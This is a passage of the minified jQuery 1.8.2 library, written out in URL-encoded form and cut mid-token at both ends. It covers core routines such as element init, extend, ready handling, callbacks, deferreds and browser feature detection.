5B%22margin%22+c%5D%3Dd%5B%22padding%22+c%5D%3Da%3Breturn%20b%26%26%28d.opacity%3Dd.width%3Da%29%2Cd%7Dfunction%20da%28a%29%7Breturn%20p.isWindow%28a%29%3Fa%3Aa.nodeType%3D%3D%3D9%3Fa.defaultView%7C%7Ca.parentWindow%3A%211%7Dvar%20c%2Cd%2Ce%3Da.document%2Cf%3Da.location%2Cg%3Da.navigator%2Ch%3Da.jQuery%2Ci%3Da.%24%2Cj%3DArray.prototype.push%2Ck%3DArray.prototype.slice%2Cl%3DArray.prototype.indexOf%2Cm%3DObject.prototype.toString%2Cn%3DObject.prototype.hasOwnProperty%2Co%3DString.prototype.trim%2Cp%3Dfunction%28a%2Cb%29%7Breturn%20new%20p.fn.init%28a%2Cb%2Cc%29%7D%2Cq%3D/%5B%5C-+%5D%3F%28%3F%3A%5Cd*%5C.%7C%29%5Cd+%28%3F%3A%5BeE%5D%5B%5C-+%5D%3F%5Cd+%7C%29/.source%2Cr%3D/%5CS/%2Cs%3D/%5Cs+/%2Ct%3D/%5E%5B%5Cs%5CuFEFF%5CxA0%5D+%7C%5B%5Cs%5CuFEFF%5CxA0%5D+%24/g%2Cu%3D/%5E%28%3F%3A%5B%5E%23%3C%5D*%28%3C%5B%5Cw%5CW%5D+%3E%29%5B%5E%3E%5D*%24%7C%23%28%5B%5Cw%5C-%5D*%29%24%29/%2Cv%3D/%5E%3C%28%5Cw+%29%5Cs*%5C/%3F%3E%28%3F%3A%3C%5C/%5C1%3E%7C%29%24/%2Cw%3D/%5E%5B%5C%5D%2C%3A%7B%7D%5Cs%5D*%24/%2Cx%3D/%28%3F%3A%5E%7C%3A%7C%2C%29%28%3F%3A%5Cs*%5C%5B%29+/g%2Cy%3D/%5C%5C%28%3F%3A%5B%22%5C%5C%5C/bfnrt%5D%7Cu%5B%5Cda-fA-F%5D%7B4%7D%29/g%2Cz%3D/%22%5B%5E%22%5C%5C%5Cr%5Cn%5D*%22%7Ctrue%7Cfalse%7Cnull%7C-%3F%28%3F%3A%5Cd%5Cd*%5C.%7C%29%5Cd+%28%3F%3A%5BeE%5D%5B%5C-+%5D%3F%5Cd+%7C%29/g%2CA%3D/%5E-ms-/%2CB%3D/-%28%5B%5Cda-z%5D%29/gi%2CC%3Dfunction%28a%2Cb%29%7Breturn%28b+%22%22%29.toUpperCase%28%29%7D%2CD%3Dfunction%28%29%7Be.addEventListener%3F%28e.removeEventListener%28%22DOMContentLoaded%22%2CD%2C%211%29%2Cp.ready%28%29%29%3Ae.readyState%3D%3D%3D%22complete%22%26%26%28e.detachEvent%28%22onreadystatechange%22%2CD%29%2Cp.ready%28%29%29%7D%2CE%3D%7B%7D%3Bp.fn%3Dp.prototype%3D%7Bconstructor%3Ap%2Cinit%3Afunction%28a%2Cc%2Cd%29%7Bvar%20f%2Cg%2Ch%2Ci%3Bif%28%21a%29return%20this%3Bif%28a.nodeType%29return%20this.context%3Dthis%5B0%5D%3Da%2Cthis.length%3D1%2Cthis%3Bif%28typeof%20a%3D%3D%22string%22%29%7Ba.charAt%280%29%3D%3D%3D%22%3C%22%26%26a.charAt%28a.length-1%29%3D%3D%3D%22%3E%22%26%26a.length%3E%3D3%3Ff%3D%5Bnull%2Ca%2Cnull%5D%3Af%3Du.exec%28a%29%3Bif%28f%26%26%28f%5B1%5D%7C%7C%21c%29%29%7Bif%28f%5B1%5D%29return%20c%3Dc%20instanceof%20p%3Fc%5B0%5D%3Ac%2Ci%3Dc%26%26c.nodeType%3Fc.ownerDocument%7C%7Cc%3Ae%2Ca%3Dp.parseHTML%28f%5B1%5D%2Ci%2C%210%29%2Cv.test%28f%5B1%5D%29%26%26p.isPlainObject%28c%29%26%26this.attr.call%28a%2Cc%2C%210%29%2Cp.merge%28this%2Ca%29%3Bg%3De.getElementById%28f%5B2%5D%29%3Bif%28g%26%26g.parentNode%29%7Bif%28g.id%21%3D%3Df%5B2%5D%29return%20d.find%28a%29%3Bthis.length%3D1%2Cthis%5B0%5D%3Dg%7Dreturn%20this.context%3De%2Cthis.selector%3Da%2Cthis%7Dreturn%21c%7C%7Cc.jquery%3F%28c%7C%7Cd%29.find%28a%29%3Athis.constructor%28c%29.find%28a%29%7Dreturn%20p.isFunction%28a%29%3Fd.ready%28a%29%3A%28a.selector%21%3D%3Db%26%26%28this.selector%3Da.selector%2Cthis.context%3Da.context%29%2Cp.makeArray%28a%2Cthis%29%29%7D%2Cselector%3A%22%22%2Cjquery%3A%221.8.2%22%2Clength%3A0%2Csize%3Afunction%28%29%7Breturn%20this.length%7D%2CtoArray%3Afunction%28%29%7Breturn%20k.call%28this%29%7D%2Cget%3Afunction%28a%29%7Breturn%20a%3D%3Dnull%3Fthis.toArray%28%29%3Aa%3C0%3Fthis%5Bthis.length+a%5D%3Athis%5Ba%5D%7D%2CpushStack%3Afunction%28a%2Cb%2Cc%29%7Bvar%20d%3Dp.merge%28this.constructor%28%29%2Ca%29%3Breturn%20d.prevObject%3Dthis%2Cd.context%3Dthis.context%2Cb%3D%3D%3D%22find%22%3Fd.selector%3Dthis.selector+%28this.selector%3F%22%20%22%3A%22%22%29+c%3Ab%26%26%28d.selector%3Dthis.selector+%22.%22+b+%22%28%22+c+%22%29%22%29%2Cd%7D%2Ceach%3Afunction%28a%2Cb%29%7Breturn%20p.each%28this%2Ca%2Cb%29%7D%2Cready%3Afunction%28a%29%7Breturn%20p.ready.promise%28%29.done%28a%29%2Cthis%7D%2Ceq%3Afunction%28a%29%7Breturn%20a%3D+a%2Ca%3D%3D%3D-1%3Fthis.slice%28a%29%3Athis.slice%28a%2Ca+1%29%7D%2Cfirst%3Afunction%28%29%7Breturn%20this.eq%280%29%7D%2Clast%3Afunction%28%29%7Breturn%20this.eq%28-1%29%7D%2Cslice%3Afunction%28%29%7Breturn%20this.pushStack%28k.apply%28this%2Carguments%29%2C%22slice%22%2Ck.call%28arguments%29.join%28%22%2C%22%29%29%7D%2Cmap%3Afunction%28a%29%7Breturn%20this.pushStack%28p.map%28this%2Cfunction%28b%2Cc%29%7Breturn%20a.call%28b%2Cc%2Cb%29%7D%29%29%7D%2Cend%3Afunction%28%29%7Breturn%20this.prevObject%7C%7Cthis.constructor%28null%29%7D%2Cpush%3Aj%2Csort%3A%5B%5D.sort%2Csplice%3A%5B%5D.splice%7D%2Cp.fn.init.prototype%3Dp.fn%2Cp.extend%3Dp.fn.extend%3Dfunction%28%29%7Bvar%20a%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%3Darguments%5B0%5D%7C%7C%7B%7D%2Ci%3D1%2Cj%3Darguments.length%2Ck%3D%211%3Btypeof%20h%3D%3D%22boolean%22%26%26%28k%3Dh%2Ch%3Darguments%5B1%5D%7C%7C%7B%7D%2Ci%3D2%29%2Ctypeof%20h%21%3D%22object%22%26%26%21p.isFunction%28h%29%26%26%28h%3D%7B%7D%29%2Cj%3D%3D%3Di%26%26%28h%3Dthis%2C--i%29%3Bfor%28%3Bi%3Cj%3Bi++%29if%28%28a%3Darguments%5Bi%5D%29%21%3Dnull%29for%28c%20in%20a%29%7Bd%3Dh%5Bc%5D%2Ce%3Da%5Bc%5D%3Bif%28h%3D%3D%3De%29continue%3Bk%26%26e%26%26%28p.isPlainObject%28e%29%7C%7C%28f%3Dp.isArray%28e%29%29%29%3F%28f%3F%28f%3D%211%2Cg%3Dd%26%26p.isArray%28d%29%3Fd%3A%5B%5D%29%3Ag%3Dd%26%26p.isPlainObject%28d%29%3Fd%3A%7B%7D%2Ch%5Bc%5D%3Dp.extend%28k%2Cg%2Ce%29%29%3Ae%21%3D%3Db%26%26%28h%5Bc%5D%3De%29%7Dreturn%20h%7D%2Cp.extend%28%7BnoConflict%3Afunction%28b%29%7Breturn%20a.%24%3D%3D%3Dp%26%26%28a.%24%3Di%29%2Cb%26%26a.jQuery%3D%3D%3Dp%26%26%28a.jQuery%3Dh%29%2Cp%7D%2CisReady%3A%211%2CreadyWait%3A1%2CholdReady%3Afunction%28a%29%7Ba%3Fp.readyWait++%3Ap.ready%28%210%29%7D%2Cready%3Afunction%28a%29%7Bif%28a%3D%3D%3D%210%3F--p.readyWait%3Ap.isReady%29return%3Bif%28%21e.body%29return%20setTimeout%28p.ready%2C1%29%3Bp.isReady%3D%210%3Bif%28a%21%3D%3D%210%26%26--p.readyWait%3E0%29return%3Bd.resolveWith%28e%2C%5Bp%5D%29%2Cp.fn.trigger%26%26p%28e%29.trigger%28%22ready%22%29.off%28%22ready%22%29%7D%2CisFunction%3Afunction%28a%29%7Breturn%20p.type%28a%29%3D%3D%3D%22function%22%7D%2CisArray%3AArray.isArray%7C%7Cfunction%28a%29%7Breturn%20p.type%28a%29%3D%3D%3D%22array%22%7D%2CisWindow%3Afunction%28a%29%7Breturn%20a%21%3Dnull%26%26a%3D%3Da.window%7D%2CisNumeric%3Afunction%28a%29%7Breturn%21isNaN%28parseFloat%28a%29%29%26%26isFinite%28a%29%7D%2Ctype%3Afunction%28a%29%7Breturn%20a%3D%3Dnull%3FString%28a%29%3AE%5Bm.call%28a%29%5D%7C%7C%22object%22%7D%2CisPlainObject%3Afunction%28a%29%7Bif%28%21a%7C%7Cp.type%28a%29%21%3D%3D%22object%22%7C%7Ca.nodeType%7C%7Cp.isWindow%28a%29%29return%211%3Btry%7Bif%28a.constructor%26%26%21n.call%28a%2C%22constructor%22%29%26%26%21n.call%28a.constructor.prototype%2C%22isPrototypeOf%22%29%29return%211%7Dcatch%28c%29%7Breturn%211%7Dvar%20d%3Bfor%28d%20in%20a%29%3Breturn%20d%3D%3D%3Db%7C%7Cn.call%28a%2Cd%29%7D%2CisEmptyObject%3Afunction%28a%29%7Bvar%20b%3Bfor%28b%20in%20a%29return%211%3Breturn%210%7D%2Cerror%3Afunction%28a%29%7Bthrow%20new%20Error%28a%29%7D%2CparseHTML%3Afunction%28a%2Cb%2Cc%29%7Bvar%20d%3Breturn%21a%7C%7Ctypeof%20a%21%3D%22string%22%3Fnull%3A%28typeof%20b%3D%3D%22boolean%22%26%26%28c%3Db%2Cb%3D0%29%2Cb%3Db%7C%7Ce%2C%28d%3Dv.exec%28a%29%29%3F%5Bb.createElement%28d%5B1%5D%29%5D%3A%28d%3Dp.buildFragment%28%5Ba%5D%2Cb%2Cc%3Fnull%3A%5B%5D%29%2Cp.merge%28%5B%5D%2C%28d.cacheable%3Fp.clone%28d.fragment%29%3Ad.fragment%29.childNodes%29%29%29%7D%2CparseJSON%3Afunction%28b%29%7Bif%28%21b%7C%7Ctypeof%20b%21%3D%22string%22%29return%20null%3Bb%3Dp.trim%28b%29%3Bif%28a.JSON%26%26a.JSON.parse%29return%20a.JSON.parse%28b%29%3Bif%28w.test%28b.replace%28y%2C%22@%22%29.replace%28z%2C%22%5D%22%29.replace%28x%2C%22%22%29%29%29return%28new%20Function%28%22return%20%22+b%29%29%28%29%3Bp.error%28%22Invalid%20JSON%3A%20%22+b%29%7D%2CparseXML%3Afunction%28c%29%7Bvar%20d%2Ce%3Bif%28%21c%7C%7Ctypeof%20c%21%3D%22string%22%29return%20null%3Btry%7Ba.DOMParser%3F%28e%3Dnew%20DOMParser%2Cd%3De.parseFromString%28c%2C%22text/xml%22%29%29%3A%28d%3Dnew%20ActiveXObject%28%22Microsoft.XMLDOM%22%29%2Cd.async%3D%22false%22%2Cd.loadXML%28c%29%29%7Dcatch%28f%29%7Bd%3Db%7Dreturn%28%21d%7C%7C%21d.documentElement%7C%7Cd.getElementsByTagName%28%22parsererror%22%29.length%29%26%26p.error%28%22Invalid%20XML%3A%20%22+c%29%2Cd%7D%2Cnoop%3Afunction%28%29%7B%7D%2CglobalEval%3Afunction%28b%29%7Bb%26%26r.test%28b%29%26%26%28a.execScript%7C%7Cfunction%28b%29%7Ba.eval.call%28a%2Cb%29%7D%29%28b%29%7D%2CcamelCase%3Afunction%28a%29%7Breturn%20a.replace%28A%2C%22ms-%22%29.replace%28B%2CC%29%7D%2CnodeName%3Afunction%28a%2Cb%29%7Breturn%20a.nodeName%26%26a.nodeName.toLowerCase%28%29%3D%3D%3Db.toLowerCase%28%29%7D%2Ceach%3Afunction%28a%2Cc%2Cd%29%7Bvar%20e%2Cf%3D0%2Cg%3Da.length%2Ch%3Dg%3D%3D%3Db%7C%7Cp.isFunction%28a%29%3Bif%28d%29%7Bif%28h%29%7Bfor%28e%20in%20a%29if%28c.apply%28a%5Be%5D%2Cd%29%3D%3D%3D%211%29break%7Delse%20for%28%3Bf%3Cg%3B%29if%28c.apply%28a%5Bf++%5D%2Cd%29%3D%3D%3D%211%29break%7Delse%20if%28h%29%7Bfor%28e%20in%20a%29if%28c.call%28a%5Be%5D%2Ce%2Ca%5Be%5D%29%3D%3D%3D%211%29break%7Delse%20for%28%3Bf%3Cg%3B%29if%28c.call%28a%5Bf%5D%2Cf%2Ca%5Bf++%5D%29%3D%3D%3D%211%29break%3Breturn%20a%7D%2Ctrim%3Ao%26%26%21o.call%28%22%uFEFF%A0%22%29%3Ffunction%28a%29%7Breturn%20a%3D%3Dnull%3F%22%22%3Ao.call%28a%29%7D%3Afunction%28a%29%7Breturn%20a%3D%3Dnull%3F%22%22%3A%28a+%22%22%29.replace%28t%2C%22%22%29%7D%2CmakeArray%3Afunction%28a%2Cb%29%7Bvar%20c%2Cd%3Db%7C%7C%5B%5D%3Breturn%20a%21%3Dnull%26%26%28c%3Dp.type%28a%29%2Ca.length%3D%3Dnull%7C%7Cc%3D%3D%3D%22string%22%7C%7Cc%3D%3D%3D%22function%22%7C%7Cc%3D%3D%3D%22regexp%22%7C%7Cp.isWindow%28a%29%3Fj.call%28d%2Ca%29%3Ap.merge%28d%2Ca%29%29%2Cd%7D%2CinArray%3Afunction%28a%2Cb%2Cc%29%7Bvar%20d%3Bif%28b%29%7Bif%28l%29return%20l.call%28b%2Ca%2Cc%29%3Bd%3Db.length%2Cc%3Dc%3Fc%3C0%3FMath.max%280%2Cd+c%29%3Ac%3A0%3Bfor%28%3Bc%3Cd%3Bc++%29if%28c%20in%20b%26%26b%5Bc%5D%3D%3D%3Da%29return%20c%7Dreturn-1%7D%2Cmerge%3Afunction%28a%2Cc%29%7Bvar%20d%3Dc.length%2Ce%3Da.length%2Cf%3D0%3Bif%28typeof%20d%3D%3D%22number%22%29for%28%3Bf%3Cd%3Bf++%29a%5Be++%5D%3Dc%5Bf%5D%3Belse%20while%28c%5Bf%5D%21%3D%3Db%29a%5Be++%5D%3Dc%5Bf++%5D%3Breturn%20a.length%3De%2Ca%7D%2Cgrep%3Afunction%28a%2Cb%2Cc%29%7Bvar%20d%2Ce%3D%5B%5D%2Cf%3D0%2Cg%3Da.length%3Bc%3D%21%21c%3Bfor%28%3Bf%3Cg%3Bf++%29d%3D%21%21b%28a%5Bf%5D%2Cf%29%2Cc%21%3D%3Dd%26%26e.push%28a%5Bf%5D%29%3Breturn%20e%7D%2Cmap%3Afunction%28a%2Cc%2Cd%29%7Bvar%20e%2Cf%2Cg%3D%5B%5D%2Ch%3D0%2Ci%3Da.length%2Cj%3Da%20instanceof%20p%7C%7Ci%21%3D%3Db%26%26typeof%20i%3D%3D%22number%22%26%26%28i%3E0%26%26a%5B0%5D%26%26a%5Bi-1%5D%7C%7Ci%3D%3D%3D0%7C%7Cp.isArray%28a%29%29%3Bif%28j%29for%28%3Bh%3Ci%3Bh++%29e%3Dc%28a%5Bh%5D%2Ch%2Cd%29%2Ce%21%3Dnull%26%26%28g%5Bg.length%5D%3De%29%3Belse%20for%28f%20in%20a%29e%3Dc%28a%5Bf%5D%2Cf%2Cd%29%2Ce%21%3Dnull%26%26%28g%5Bg.length%5D%3De%29%3Breturn%20g.concat.apply%28%5B%5D%2Cg%29%7D%2Cguid%3A1%2Cproxy%3Afunction%28a%2Cc%29%7Bvar%20d%2Ce%2Cf%3Breturn%20typeof%20c%3D%3D%22string%22%26%26%28d%3Da%5Bc%5D%2Cc%3Da%2Ca%3Dd%29%2Cp.isFunction%28a%29%3F%28e%3Dk.call%28arguments%2C2%29%2Cf%3Dfunction%28%29%7Breturn%20a.apply%28c%2Ce.concat%28k.call%28arguments%29%29%29%7D%2Cf.guid%3Da.guid%3Da.guid%7C%7Cp.guid++%2Cf%29%3Ab%7D%2Caccess%3Afunction%28a%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%29%7Bvar%20i%2Cj%3Dd%3D%3Dnull%2Ck%3D0%2Cl%3Da.length%3Bif%28d%26%26typeof%20d%3D%3D%22object%22%29%7Bfor%28k%20in%20d%29p.access%28a%2Cc%2Ck%2Cd%5Bk%5D%2C1%2Cg%2Ce%29%3Bf%3D1%7Delse%20if%28e%21%3D%3Db%29%7Bi%3Dh%3D%3D%3Db%26%26p.isFunction%28e%29%2Cj%26%26%28i%3F%28i%3Dc%2Cc%3Dfunction%28a%2Cb%2Cc%29%7Breturn%20i.call%28p%28a%29%2Cc%29%7D%29%3A%28c.call%28a%2Ce%29%2Cc%3Dnull%29%29%3Bif%28c%29for%28%3Bk%3Cl%3Bk++%29c%28a%5Bk%5D%2Cd%2Ci%3Fe.call%28a%5Bk%5D%2Ck%2Cc%28a%5Bk%5D%2Cd%29%29%3Ae%2Ch%29%3Bf%3D1%7Dreturn%20f%3Fa%3Aj%3Fc.call%28a%29%3Al%3Fc%28a%5B0%5D%2Cd%29%3Ag%7D%2Cnow%3Afunction%28%29%7Breturn%28new%20Date%29.getTime%28%29%7D%7D%29%2Cp.ready.promise%3Dfunction%28b%29%7Bif%28%21d%29%7Bd%3Dp.Deferred%28%29%3Bif%28e.readyState%3D%3D%3D%22complete%22%29setTimeout%28p.ready%2C1%29%3Belse%20if%28e.addEventListener%29e.addEventListener%28%22DOMContentLoaded%22%2CD%2C%211%29%2Ca.addEventListener%28%22load%22%2Cp.ready%2C%211%29%3Belse%7Be.attachEvent%28%22onreadystatechange%22%2CD%29%2Ca.attachEvent%28%22onload%22%2Cp.ready%29%3Bvar%20c%3D%211%3Btry%7Bc%3Da.frameElement%3D%3Dnull%26%26e.documentElement%7Dcatch%28f%29%7B%7Dc%26%26c.doScroll%26%26function%20g%28%29%7Bif%28%21p.isReady%29%7Btry%7Bc.doScroll%28%22left%22%29%7Dcatch%28a%29%7Breturn%20setTimeout%28g%2C50%29%7Dp.ready%28%29%7D%7D%28%29%7D%7Dreturn%20d.promise%28b%29%7D%2Cp.each%28%22Boolean%20Number%20String%20Function%20Array%20Date%20RegExp%20Object%22.split%28%22%20%22%29%2Cfunction%28a%2Cb%29%7BE%5B%22%5Bobject%20%22+b+%22%5D%22%5D%3Db.toLowerCase%28%29%7D%29%2Cc%3Dp%28e%29%3Bvar%20F%3D%7B%7D%3Bp.Callbacks%3Dfunction%28a%29%7Ba%3Dtypeof%20a%3D%3D%22string%22%3FF%5Ba%5D%7C%7CG%28a%29%3Ap.extend%28%7B%7D%2Ca%29%3Bvar%20c%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%3D%5B%5D%2Cj%3D%21a.once%26%26%5B%5D%2Ck%3Dfunction%28b%29%7Bc%3Da.memory%26%26b%2Cd%3D%210%2Ch%3Df%7C%7C0%2Cf%3D0%2Cg%3Di.length%2Ce%3D%210%3Bfor%28%3Bi%26%26h%3Cg%3Bh++%29if%28i%5Bh%5D.apply%28b%5B0%5D%2Cb%5B1%5D%29%3D%3D%3D%211%26%26a.stopOnFalse%29%7Bc%3D%211%3Bbreak%7De%3D%211%2Ci%26%26%28j%3Fj.length%26%26k%28j.shift%28%29%29%3Ac%3Fi%3D%5B%5D%3Al.disable%28%29%29%7D%2Cl%3D%7Badd%3Afunction%28%29%7Bif%28i%29%7Bvar%20b%3Di.length%3B%28function%20d%28b%29%7Bp.each%28b%2Cfunction%28b%2Cc%29%7Bvar%20e%3Dp.type%28c%29%3Be%3D%3D%3D%22function%22%26%26%28%21a.unique%7C%7C%21l.has%28c%29%29%3Fi.push%28c%29%3Ac%26%26c.length%26%26e%21%3D%3D%22string%22%26%26d%28c%29%7D%29%7D%29%28arguments%29%2Ce%3Fg%3Di.length%3Ac%26%26%28f%3Db%2Ck%28c%29%29%7Dreturn%20this%7D%2Cremove%3Afunction%28%29%7Breturn%20i%26%26p.each%28arguments%2Cfunction%28a%2Cb%29%7Bvar%20c%3Bwhile%28%28c%3Dp.inArray%28b%2Ci%2Cc%29%29%3E-1%29i.splice%28c%2C1%29%2Ce%26%26%28c%3C%3Dg%26%26g--%2Cc%3C%3Dh%26%26h--%29%7D%29%2Cthis%7D%2Chas%3Afunction%28a%29%7Breturn%20p.inArray%28a%2Ci%29%3E-1%7D%2Cempty%3Afunction%28%29%7Breturn%20i%3D%5B%5D%2Cthis%7D%2Cdisable%3Afunction%28%29%7Breturn%20i%3Dj%3Dc%3Db%2Cthis%7D%2Cdisabled%3Afunction%28%29%7Breturn%21i%7D%2Clock%3Afunction%28%29%7Breturn%20j%3Db%2Cc%7C%7Cl.disable%28%29%2Cthis%7D%2Clocked%3Afunction%28%29%7Breturn%21j%7D%2CfireWith%3Afunction%28a%2Cb%29%7Breturn%20b%3Db%7C%7C%5B%5D%2Cb%3D%5Ba%2Cb.slice%3Fb.slice%28%29%3Ab%5D%2Ci%26%26%28%21d%7C%7Cj%29%26%26%28e%3Fj.push%28b%29%3Ak%28b%29%29%2Cthis%7D%2Cfire%3Afunction%28%29%7Breturn%20l.fireWith%28this%2Carguments%29%2Cthis%7D%2Cfired%3Afunction%28%29%7Breturn%21%21d%7D%7D%3Breturn%20l%7D%2Cp.extend%28%7BDeferred%3Afunction%28a%29%7Bvar%20b%3D%5B%5B%22resolve%22%2C%22done%22%2Cp.Callbacks%28%22once%20memory%22%29%2C%22resolved%22%5D%2C%5B%22reject%22%2C%22fail%22%2Cp.Callbacks%28%22once%20memory%22%29%2C%22rejected%22%5D%2C%5B%22notify%22%2C%22progress%22%2Cp.Callbacks%28%22memory%22%29%5D%5D%2Cc%3D%22pending%22%2Cd%3D%7Bstate%3Afunction%28%29%7Breturn%20c%7D%2Calways%3Afunction%28%29%7Breturn%20e.done%28arguments%29.fail%28arguments%29%2Cthis%7D%2Cthen%3Afunction%28%29%7Bvar%20a%3Darguments%3Breturn%20p.Deferred%28function%28c%29%7Bp.each%28b%2Cfunction%28b%2Cd%29%7Bvar%20f%3Dd%5B0%5D%2Cg%3Da%5Bb%5D%3Be%5Bd%5B1%5D%5D%28p.isFunction%28g%29%3Ffunction%28%29%7Bvar%20a%3Dg.apply%28this%2Carguments%29%3Ba%26%26p.isFunction%28a.promise%29%3Fa.promise%28%29.done%28c.resolve%29.fail%28c.reject%29.progress%28c.notify%29%3Ac%5Bf+%22With%22%5D%28this%3D%3D%3De%3Fc%3Athis%2C%5Ba%5D%29%7D%3Ac%5Bf%5D%29%7D%29%2Ca%3Dnull%7D%29.promise%28%29%7D%2Cpromise%3Afunction%28a%29%7Breturn%20a%21%3Dnull%3Fp.extend%28a%2Cd%29%3Ad%7D%7D%2Ce%3D%7B%7D%3Breturn%20d.pipe%3Dd.then%2Cp.each%28b%2Cfunction%28a%2Cf%29%7Bvar%20g%3Df%5B2%5D%2Ch%3Df%5B3%5D%3Bd%5Bf%5B1%5D%5D%3Dg.add%2Ch%26%26g.add%28function%28%29%7Bc%3Dh%7D%2Cb%5Ba%5E1%5D%5B2%5D.disable%2Cb%5B2%5D%5B2%5D.lock%29%2Ce%5Bf%5B0%5D%5D%3Dg.fire%2Ce%5Bf%5B0%5D+%22With%22%5D%3Dg.fireWith%7D%29%2Cd.promise%28e%29%2Ca%26%26a.call%28e%2Ce%29%2Ce%7D%2Cwhen%3Afunction%28a%29%7Bvar%20b%3D0%2Cc%3Dk.call%28arguments%29%2Cd%3Dc.length%2Ce%3Dd%21%3D%3D1%7C%7Ca%26%26p.isFunction%28a.promise%29%3Fd%3A0%2Cf%3De%3D%3D%3D1%3Fa%3Ap.Deferred%28%29%2Cg%3Dfunction%28a%2Cb%2Cc%29%7Breturn%20function%28d%29%7Bb%5Ba%5D%3Dthis%2Cc%5Ba%5D%3Darguments.length%3E1%3Fk.call%28arguments%29%3Ad%2Cc%3D%3D%3Dh%3Ff.notifyWith%28b%2Cc%29%3A--e%7C%7Cf.resolveWith%28b%2Cc%29%7D%7D%2Ch%2Ci%2Cj%3Bif%28d%3E1%29%7Bh%3Dnew%20Array%28d%29%2Ci%3Dnew%20Array%28d%29%2Cj%3Dnew%20Array%28d%29%3Bfor%28%3Bb%3Cd%3Bb++%29c%5Bb%5D%26%26p.isFunction%28c%5Bb%5D.promise%29%3Fc%5Bb%5D.promise%28%29.done%28g%28b%2Cj%2Cc%29%29.fail%28f.reject%29.progress%28g%28b%2Ci%2Ch%29%29%3A--e%7Dreturn%20e%7C%7Cf.resolveWith%28j%2Cc%29%2Cf.promise%28%29%7D%7D%29%2Cp.support%3Dfunction%28%29%7Bvar%20b%2Cc%2Cd%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%3De.createElement%28%22div%22%29%3Bn.setAttribute%28%22className%22%2C%22t%22%29%2Cn.innerHTML%3D%22%20%20%3Clink/%3E%3Ctable%3E%3C/table%3E%3Ca%20href%3D%27/a%27%3Ea%3C/a%3E%3Cinput%20type%3D%27checkbox%27/%3E%22%2Cc%3Dn.getElementsByTagName%28%22*%22%29%2Cd%3Dn.getElementsByTagName%28%22a%22%29%5B0%5D%2Cd.style.cssText%3D%22top%3A1px%3Bfloat%3Aleft%3Bopacity%3A.5%22%3Bif%28%21c%7C%7C%21c.length%29return%7B%7D%3Bf%3De.createElement%28%22select%22%29%2Cg%3Df.appendChild%28e.createElement%28%22option%22%29%29%2Ch%3Dn.getElementsByTagName%28%22input%22%29%5B0%5D%2Cb%3D%7BleadingWhitespace%3An.firstChild.nodeType%3D%3D%3D3%2Ctbody%3A%21n.getElementsByTagName%28%22tbody%22%29.length%2ChtmlSerialize%3A%21%21n.getElementsByTagName%28%22link%22%29.length%2Cstyle%3A/top/.test%28d.getAttribute%28%22style%22%29%29%2ChrefNormalized%3Ad.getAttribute%28%22href%22%29%3D%3D%3D%22/a%22%2Copacity%3A/%5E0.5/.test%28d.style.opacity%29%2CcssFloat%3A%21%21d.style.cssFloat%2CcheckOn%3Ah.value%3D%3D%3D%22on%22%2CoptSelected%3Ag.selected%2CgetSetAttribute%3An.className%21%3D%3D%22t%22%2Cenctype%3A%21%21e.createElement%28%22form%22%29.enctype%2Chtml5Clone%3Ae.createElement%28%22nav%22%29.cloneNode%28%210%29.outerHTML%21%3D%3D%22%3C%3Anav%3E%3C/%3Anav%3E%22%2CboxModel%3Ae.compatMode%3D%3D%3D%22CSS1Compat%22%2CsubmitBubbles%3A%210%2CchangeBubbles%3A%210%2CfocusinBubbles%3A%211%2CdeleteExpando%3A%210%2CnoCloneEvent%3A%210%2CinlineBlockNeedsLayout%3A%211%2CshrinkWrapBlocks%3A%211%2CreliableMarginRight%3A%210%2CboxSizingReliable%3A%210%2CpixelPosition%3A%211%7D%2Ch.checked%3D%210%2Cb.noCloneChecked%3Dh.cloneNode%28%210%29.checked%2Cf.disabled%3D%210%2Cb.optDisabled%3D%21g.disabled%3Btry%7Bdelete%20n.test%7Dcatch%28o%29%7Bb.deleteExpando%3D%211%7D%21n.addEventListener%26%26n.attachEvent%26%26n.fireEvent%26%26%28n.attachEvent%28%22onclick%22%2Cm%3Dfunction%28%29%7Bb.noCloneEvent%3D%211%7D%29%2Cn.cloneNode%28%210%29.fireEvent%28%22onclick%22%29%2Cn.detachEvent%28%22onclick%22%2Cm%29%29%2Ch%3De.createElement%28%22input%22%29%2Ch.value%3D%22t%22%2Ch.setAttribute%28%22type%22%2C%22radio%22%29%2Cb.radioValue%3Dh.value%3D%3D%3D%22t%22%2Ch.setAttribute%28%22checked%22%2C%22checked%22%29%2Ch.setAttribute%28%22name%22%2C%22t%22%29%2Cn.appendChild%28h%29%2Ci%3De.createDocumentFragment%28%29%2Ci.appendChild%28n.lastChild%29%2Cb.checkClone%3Di.cloneNode%28%210%29.cloneNode%28%210%29.lastChild.checked%2Cb.appendChecked%3Dh.checked%2Ci.removeChild%28h%29%2Ci.appendChild%28n%29%3Bif%28n.attachEvent%29for%28k%20in%7Bsubmit%3A%210%2Cchange%3A%210%2Cfocusin%3A%210%7D%29j%3D%22on%22+k%2Cl%3Dj%20in%20n%2Cl%7C%7C%28n.setAttribute%28j%2C%22return%3B%22%29%2Cl%3Dtypeof%20n%5Bj%5D%3D%3D%22function%22%29%2Cb%5Bk+%22Bubbles%22%5D%3Dl%3Breturn%20p%28function%28%29%7Bvar%20c%2Cd%2Cf%2Cg%2Ch%3D%22padding%3A0%3Bmargin%3A0%3Bborder%3A0%3Bdisplay%3Ablock%3Boverflow%3Ahidden%3B%22%2Ci%3De.getElementsByTagName%28%22body%22%29%5B0%5D%3Bif%28%21i%29return%3Bc%3De.createElement%28%22div%22%29%2Cc.style.cssText%3D%22visibility%3Ahidden%3Bborder%3A0%3Bwidth%3A0%3Bheight%3A0%3Bposition%3Astatic%3Btop%3A0%3Bmargin-top%3A1px%22%2Ci.insertBefore%28c%2Ci.firstChild%29%2Cd%3De.createElement%28%22div%22%29%2Cc.appendChild%28d%29%2Cd.innerHTML%3D%22%3Ctable%3E%3Ctr%3E%3Ctd%3E%3C/td%3E%3Ctd%3Et%3C/td%3E%3C/tr%3E%3C/table%3E%22%2Cf%3Dd.getElementsByTagName%28%22td%22%29%2Cf%5B0%5D.style.cssText%3D%22padding%3A0%3Bmargin%3A0%3Bborder%3A0%3Bdisplay%3Anone%22%2Cl%3Df%5B0%5D.offsetHeight%3D%3D%3D0%2Cf%5B0%5D.style.display%3D%22%22%2Cf%5B1%5D.style.display%3D%22none%22%2Cb.reliableHiddenOffsets%3Dl%26%26f%5B0%5D.offsetHeig